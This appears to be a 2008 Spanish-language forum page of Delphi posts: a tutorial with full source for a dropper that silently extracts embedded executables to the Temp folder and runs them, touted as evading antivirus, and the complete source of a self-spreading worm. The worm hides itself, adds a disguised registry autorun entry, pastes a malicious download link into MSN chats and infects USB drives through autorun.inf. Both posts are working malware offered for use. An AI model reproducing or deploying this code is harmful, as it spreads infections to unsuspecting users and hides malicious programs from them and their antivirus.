Aztek Mindz » Delphi

Dropper desde 0 [ Delphi ]

octalh — Tue, 17 Jun 2008 01:22:23 +0000

Ok, comenzemos…
¿Que es un dropper?

Es un programa que extrae 1 o más archivos en un computador, y usualmente los ejecuta o abre una vez son extraidos. Comportamientos comunes en los droppers son su ejecución invisible, más se pueden hacer muchas otras cosas.
Esto crea el efecto para un usuario comun que pensara que solo esta ejecutando una sola aplicación, cuando en verdad pueden haber otras tantas.
¿Porque un dropper y no un binder?

Por su flexibilidad, porque su header es menos perseguido que el de los archivos bindeados para los AV que cargan firmas como locos y porque son un buen inicio para poder entender tanto binders como droppers.
Conceptos para hacer un dropper
¿Como incluir un archivo en un programa?

Tenemos las siguientes posibilidades:
* Como un array de tipo caracter [el archivo letra por letra]
* Como un resource. [el archivo como un recurso del programa]
* Iniciando con el header del archivo al final del programa, “union por la cola” [Tipo binder]

Añadiendola como un array nos ocuparia mucho más espacio, y la union tipo binder no nos interesa por el momento. Añadirlo como un resource sera nuestra elección:
Creando un resource: Esto se puede hacer en notepad y luego guardarlo como un archivo con extension .RC

Delphi nos avisara de la ausencia del .RES y lo creara por nosotros siguiendo la ruta que encuentre en el .RC y relacionando ambos archivos en una libreria de recursos .RES.

Creando el dropper el Delphi
Bueno, para ahorrar espacio en el codigo añado los comentarios de que es cada cosa:
* Abrimos Delphi, en un nuevo proyecto copiamos el source siguiente.
Luego guardamos como .dpr (asegurarse que el archivo .RC y los archivos .exe para droppear esten en la misma.

program dropper;
{$R ‘RSCR.res’ ‘RSCR.RC’} //Establecemos nuestros recursos >.<
uses
Windows, Shellapi;
var
File1: String = ‘archivo1′;
File2: String = ‘archivo2′;
File1Extention: String = ‘exe’;
File2Extention: String = ‘exe’;
{$R *.res}

// Extraer un resource a un archivo y ejecutarlo
procedure ExtractFile(whichone: String);
var
WhichExtention: String;
TempDirBuff,TempFileNameBuff,ResultFilePath,ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize,byteswritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
begin
//Obtener memoria
getMem(TempDirBuff,MAX_PATH+1);
getMem(TempFileNameBuff,MAX_PATH+1);
//Obtener la ruta Temp
GetTempPath(MAX_PATH+1,TempDirBuff);
//Obtener un nombre para el archivo
GetTempFileName(TempDirBuff,‘~win’,0,TempFileNameBuff);
//Obtener la extension de los archivos extraidos
if whichone = File1 then WhichExtention := File1Extention
else WhichExtention := File2Extention;
//Crear un string para la ruta C:\Windows\Temp\~winxxx.exe
ResultFilePath := PChar(Copy(TempFileNameBuff,0,Length(TempFileNameBuff) - 3) + WhichExtention);
//Liberar memoria
freeMem(TempDirBuff);
freeMem(TempFileNameBuff);

//Buscar el resource
ResourceLocation := FindResource(HInstance,PChar(whichone),RT_RCDATA);
if ResourceLocation = 0 then exit;
//Obtener el tamaño del resource
ResourceSize := SizeofResource(HInstance,ResourceLocation);
if ResourceSize = 0 then exit;
//Cargar el recurso en memoria
ResDataHandle := LoadResource(HInstance,ResourceLocation);
if ResDataHandle = 0 then exit;
//Asegurar el resource
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer = NIL then exit;
//Crear nuestro archivo
FileHandle := CreateFile(ResultFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NIL,CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,0);
if FileHandle = INVALID_HANDLE_VALUE then exit;
//Escribir Resource en un archivo
WriteFile(FileHandle,ResourcePointer^,ResourceSize,byteswritten,NIL);
//Cerrar archivo
CloseHandle(FileHandle);
//Ejecutar archivo
ShellExecute(0,NIL,ResultFilePath,NIL,NIL,SW_SHOW);
//return
end;
// Aqui es el inicio del programa
begin
ExtractFile(File1); //Extraer + ejecutar Archivo1
ExtractFile(File2); //Extract + ejecutar Archivo2
//Fin del programa
end.

Ok, si miramos de cerca el codigo, nuestro dropper ahora tomara los archivos que esten en el .RES, los extraera y luego los ejecutara en la carpeta temp bajo un nombre aleatorio. Ahora que ya tenemos lo necesario para que nuestro dropper funcione, compilamos y ya esta.

Tutorial Elaborado Por: status.0 [ www.indetectables.net ]

Simple-Worm MSN/USB 1.0 [ Delphi ]

octalh — Mon, 16 Jun 2008 22:24:37 +0000

{
*/
*/ +———-+———-+———-+
*/ _____ _ _ _ ___ ___
*/ | __|___| | | | |_ | | |
*/ |__ |___| | | | _| |_ _| | |
*/ |_____| |_____| |_____|_|___|
*/ [ Simple-Worm 1.0 ]
*/
*/ +———-+———-+———-+
*/ - By Octalh | octalh@gmail.com |
*/ - USB Spread | MSN Spread |
*/
}

program gusano;

// {$APPTYPE CONSOLE} Comentamos esta linea para esconder la consola

uses
Windows, SysUtils, sndkey32;

//* Constantes Gblobales

const
msj = ‘http://atacante/gusano.zip’; //* Mensaje Propagacion MSN
ruta0 = ‘c:\SW1.exe’; //* Nombre del gusano en sistema

//* Variables Gblobales

var
ruta1 : String;
Msg: TMsg;

//* Funcion para enviar msj a una ventana
// utilizando el nombre de clase de la ventana para localizarla
function enviarmsj(clase: PChar):boolean;
var
ventana:HWND;
begin
Result:=False;
ventana:= FindWindow(clase, nil);
AppActivate(ventana) ;
SendKeys(msj+#13, True) ;
Result:=True;
end;

//* Procedimiento para enviar msj al nombre de la clase de la ventana msn
// para ello utilizamos la funcion "enviarmsj" apuntando a la clase IMWindowClass
procedure mensajes(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall;
begin
enviarmsj(‘IMWindowClass’);
end;

//* Procedimiento que copia el gusano a otra direccion en el sistema
procedure copiado;
begin
ruta1 := ExtractFilePath(ParamStr(0))+ExtractFileName(ParamStr(0));
if ruta1 <> ruta0 then begin
copyfile(pchar(paramstr(0)+‘…’) , PChar(ruta0), false);
FileSetAttr( ruta0, 7);
end;
end;

//* Funcion para escribir valores en registro
function SetClave(key:Hkey; subkey,name,value:string):boolean;
var
regKey:hkey;
begin
result:=FALSE;
RegCreateKey(key,PChar(subkey),regKey);
if RegSetValueEx(regKey,Pchar(name),0,REG_SZ,pchar(value),length(value)) = 0 then
result:=TRUE;
RegCloseKey(regKey);
end;

//* Procedimiento para agregar una clave en el registro utilizando la funcion "SetClave"
procedure autoinicio;
begin
SetClave(HKEY_CURRENT_USER,‘SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run’,
‘wuactl.exe’,ruta0);
end;

//* Procedimiento para Infectar memorias USB con autorun.inf
procedure usbinfeccion(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall;
const
autorun0 = ‘c:\7777.txt’; //* Nombre del autorun.inf que se utilizara en la USB
gusanoexe = ‘10101.exe’; //* Nombre del exe del gusano dentro de la memoria USB
autorun = ‘autorun.inf’; //* Nombre del autorun dentro de la memoria USB
var
Letra: Char;
inf : TextFile;

begin

if not FileExists(autorun0) //* Creamos el contenido del autorun.inf
then begin
AssignFile(inf, autorun0);
ReWrite(inf);
WriteLn(inf, ‘[AUTORUN]‘);
WriteLn(inf, ‘open=’+gusanoexe);
WriteLn(inf, ’shell\1=abrir’);
WriteLn(inf, ’shell\1\Command=’+gusanoexe);
WriteLn(inf, ’shell\2\=explorar’);
WriteLn(inf, ’shell\2\Command=’+gusanoexe);
WriteLn(inf, ’shellexecute=’+gusanoexe);
CloseFile(inf);
FileSetAttr( autorun0, 7); //* Cerramos autorun.inf despues de crearlo
end;

//* Copiamos el autorun y el gusano a las unidades extraibles
for Letra:= ‘C’ to ‘Z’ do
if GetDriveType(Pchar(Letra+‘:\’)) = DRIVE_REMOVABLE then begin
if not FileExists(Pchar(Letra+‘:\’+gusanoexe)) then begin
FileSetAttr(Pchar(Letra+‘:\’+autorun), 0);
copyfile(Pchar(autorun0),Pchar(Letra+‘:\’+autorun),false);
copyfile(Pchar(ruta0),Pchar(Letra+‘:\’+gusanoexe),false);
end
end
end;

{
*/ Inicio de ejecucion del gusano
}

begin
copiado;
//* Iniciamos procedimiento de copiado

autoinicio;
//* Iniciamos procedimiento de autoinicio

SetTimer(0,0,60000,@mensajes);
//* Tiempo en milisegundos (60000) en la que se ejecutara continuamente
// el procedimiento "mensajes"

SetTimer(0,0,100,@usbinfeccion);
//* Tiempo en milisegundos (100) en la que se ejecutara continuamente
// el procedimiento "usbinfeccion"

{
*/ procedimiento para atender los eventos del timer
*/ [ No tocar esta seccion]
}
while True do
begin
Sleep(1);
if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
begin
if Msg.Message <> $0012 then
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end
else
begin
Break;
end;
end;
end;
{
*/ procedimiento para atender los eventos del timer
*/ [ No tocar esta seccion]
}

end.

{
*/ Final de ejecucion del gusano
}